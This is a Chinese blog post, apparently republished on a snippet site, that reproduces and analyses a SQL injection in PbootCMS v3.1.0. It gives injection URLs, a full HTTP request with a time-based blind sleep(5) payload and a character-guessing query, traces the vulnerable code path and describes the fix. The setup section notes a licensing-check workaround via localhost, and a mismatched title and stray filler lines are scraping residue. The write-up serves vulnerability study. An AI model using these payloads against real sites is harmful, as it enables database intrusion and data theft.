大家好,我是考100的代码小小顾,祝大家学习进步,加薪顺利呀。今天说一说pbootcms源码_bios cms怎么设置,希望您对编程的造诣更进一步.
环境搭建
利用 phpstudy 轻松搭建 pbootcms 环境,但是在搭建过程中,我们自己设定 phpstudy 的解析域名不行,需要获取授权码,除了到官网去申请外,我们也可以直接通过修改域名为 localhost 绕过。
因为默认是 SQLilte 数据库 直接就可以安装好,但是为了后面注入的我们将数据库改为 MYSQL 数据库
修改 config/database.php
将文件 static/backup/sql/pbootcms_v310.sql 导入到创建好的数据库中
我们可以通过任意的报错信息获取 pbootcms 的版本信息
漏洞复现
我们先对漏洞进行复现,之后再做一个整体的分析
我们向index.php 传参 http://localhost/index.php?1%27
我们发现直接爆出了 SQL 语句
尝试闭合
http://localhost/index.php?1%27)and(%271
构造数据包
`python
GET /index.php?1')and(sleep(5))and('1 HTTP/1.1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
代码100分
发现成功使得服务器沉睡五秒
是属于 SQL 盲注 再进一步的做具体验证
substr((select(database())),1,1)like’p’ 为true 我们本身对应的数据库名为 pbootcms 所以证明SQL 注入无误
证实漏洞已经存在,我们就对漏洞进行一个分析
漏洞分析
静态逆向分析
为了找到漏洞代码的位置,我们直接从执行 SQL 语句的函数,添加断点,判断执行 SQL 的内容
这里我是直接打印出 SQL 语句并停止程序
\core\database\Mysqli::query
看到了 SQL 语句 就直接进行查询,全局搜索后发现调用来自于
\app\home\model\ParserModel::getSort
而注入的参数就是 $scode
寻找 getSort 的调用,并查看其参数是否可控
最终在
\app\home\controller\IndexController::_empty
path 就是来自于路由器的匹配
动态正向调试
\app\home\model\ParserModel::getSort
\core\basic\Model::find
\core\database\Mysqli::one
\core\database\Mysqli::query
漏洞修复
在最新版本中这个漏洞已经被修复,我们跟进查看一下漏洞修复方法
apps/home/controller/IndexController.php::_empty
我们看到对路由进行了转义处理,如此一来对 SQL 注入的防护似乎达到的一劳永逸的效果,修复方式还是很不错,在入口处添加转义函数,对路由进行转义处理,从而避免掉 SQL 注入
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
转载请注明出处: https://daima100.com/4186.html